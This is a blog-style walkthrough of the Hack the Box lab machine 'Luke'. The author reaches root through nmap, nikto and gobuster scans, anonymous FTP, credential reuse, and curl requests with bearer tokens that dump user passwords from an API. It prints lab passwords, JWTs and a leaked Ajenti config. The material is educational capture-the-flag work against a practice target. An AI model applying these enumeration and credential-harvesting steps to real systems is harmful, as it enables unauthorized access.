2 min read

Hack the Box - Luke

👋🏼👋🏼 Hello world!

This is my walkthrough for Luke machine. My first FreeBSD box. User is a little bit difficult but the first shell you get is root. Just own user and own root ✌️.

Information

  • OS: FreeBSD
  • IP: 10.10.10.137
  • Difficulty: Medium

Enumeration

Nmap scan result:

$ nmap -sV -sC -A -Pn 10.10.10.137
Starting Nmap 7.30 ( https://nmap.org ) at 2019-06-17 16:28 KST
Nmap scan report for luke.io (10.10.10.137)
Host is up (0.30s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0             512 Apr 14 12:35 webapp
22/tcp   open  ssh?
80/tcp   open  http    Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open  http    Ajenti http control panel
|_http-title: Ajenti

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 215.23 seconds

Port 21

There was a ftp port opened with anonymous login allowed. Checking port 21, I got a text file from ftp://luke.htb/webapp/for_Chihiro.txt which said:

From this message file, I guessed there would be something hidden with website source code on port 80. I also noted that Derry was a user or a admin of the webpage. 🤔🤔

Port 80

This is how the website looked like on port 80.

Luke website

I also viewed page source, but nothing interesting. Anyway I found a file signin.css inside /css/ directory, so I guessed the login page and it was /login.php.

Login page

I tried using SQL injection to bypass the login form, but it didn't work.

So I ran Nikto to scan the website and also GoBuster for directory finding.

Nikto

root@xd:~/Desktop# nikto -h http://10.10.10.137
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.137
+ Target Hostname:    10.10.10.137
+ Target Port:        80
+ Start Time:         2019-06-17 05:18:09 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (FreeBSD) PHP/7.3.3
+ Server leaks inodes via ETags, header found with file /, fields: 0xc42 0x5867e8c11f884 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Allowed HTTP Methods: POST, OPTIONS, HEAD, GET, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ Retrieved x-powered-by header: PHP/7.3.3
+ /config.php: PHP Config file may contain database IDs and passwords.
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated:  20 error(s) and 8 item(s) reported on remote host
+ End Time:           2019-06-17 05:44:31 (GMT-4) (1582 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

The result from nikto show a /config.php and it was a database configuration file with the credential.

Config file

I tried using this credential on previous login page, but it didn't work too.

Gobuster

root@xd:~# gobuster -k -u http://10.10.10.137 -w /usr/share/wordlists/dirb/common.txt -t 100 -s 200,204,301,302,307,401,403

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.137/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,401,403
[+] Timeout      : 10s
=====================================================
2019/06/18 02:03:57 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/index.html (Status: 200)
/js (Status: 301)
/LICENSE (Status: 200)
/management (Status: 401)
/member (Status: 301)
/vendor (Status: 301)
=====================================================
2019/06/18 02:04:19 Finished
=====================================================

There were some listed directories but /management was interesting to me (because nothing in /member).

Site management

I also tried using the prviouse credential here but still didn't work 🤔🤔. So, I moved to next port.

Port 3000

It returned a JSON message like this.

{
  "success": false,
  "message": "Auth token is not supplied"
}

This message seemed like an error message of API with JWT (Json Web Token) when the request without token header.

Normally, as a developer I usually use /login or /auth/login as entry point for authenticate user for geting access token. In this case, I tried /login and YES it was.

For easily testing, I used Postman with this API. I made a post request with username and password from previous credential at /login but got a Forbidden as a response message. I tried changing username root to admin and it worked.

Token request

I got a access token now, and it was Bearer Token. With this token supplied I got a message from / endpoint.

Welcome message

I guessed /users endpoint and I got a list of users.

We also can use Curl instead of Postman.

$ curl -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxNTU2NzQ5LCJleHAiOjE1NjE2NDMxNDl9.WiPKkiodhTVtuRS_FwnOcLcxqrYRIyx8sleZcF_Hx9w" http://10.10.10.137:3000/users |jq
[
  {
    "ID": "1",
    "name": "Admin",
    "Role": "Superuser"
  },
  {
    "ID": "2",
    "name": "Derry",
    "Role": "Web Admin"
  },
  {
    "ID": "3",
    "name": "Yuri",
    "Role": "Beta Tester"
  },
  {
    "ID": "4",
    "name": "Dory",
    "Role": "Supporter"
  }
]

Then I tried to get user detail by its ID but it didn't work. However it worked with user name.

curl -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYwNzczNDk2LCJleHAiOjE1NjA4NTk4OTZ9.Es62j0IVp4Qk6zAsSu_XJCA3d0vGfrVehsag6Bvz0Dg" http://luke.htb:3000/users/admin |jq
{
  "name": "Admin",
  "password": "WX5b7)>/rp$U)FW"
}

And these are all credentials of the users.

    • ID: 1
    • name: Admin
    • password: WX5b7)>/rp$U)FW
    • Role: Superuser
    • ID: 2
    • name: Derry
    • password: rZ86wwLvx7jUxtch
    • Role: Web Admin
    • ID: 3
    • name: Yuri
    • password: bet@tester87
    • Role: Beta Tester
    • ID: 4
    • name: Dory
    • password: 5y:!xa=ybfe)/QD
    • Role: Supporter

From the message from FTP, I guessed that Derry is a Web Admin and now he had a role as Web Admin. So, I used his credential to login in http://luke.htb/management/.

I got this page.

Management page

I opened the config.json and got this.

{
  "users": {
    "root": {
      "configs": {
        "ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}",
        "ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}",
        "ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}",
        "ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}",
        "ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}",
        "ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}",
        "ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}",
        "ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}",
        "ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}",
        "ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}",
        "ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}",
        "ajenti.users.UserManager": "{\"sync-provider\": \"\"}",
        "ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}",
        "ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}",
        "ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
      },
      "password": "KpMasng6S5EtTy9Z",
      "permissions": [
        
      ]
    }
  },
  "language": "",
  "bind": {
    "host": "0.0.0.0",
    "port": 8000
  },
  "enable_feedback": true,
  "ssl": {
    "enable": false,
    "certificate_path": ""
  },
  "authentication": true,
  "installation_id": 12354
}

And I got another credential.

  • Username: root
  • Password: KpMasng6S5EtTy9Z

And it seemed like this credentail was belong to Ajenti which was running on port 8000 (From nmap scan).

Port 8000

I opened the Ajenti page on port 8000 and login with the credential.

Agenti Dashboard

Open up terminal and I got root. Lolz too easy rooting xD. Cat root.txt and cat user.txt, done!! 😁😬

Hope you enjoy 😁

SHARE THIS POST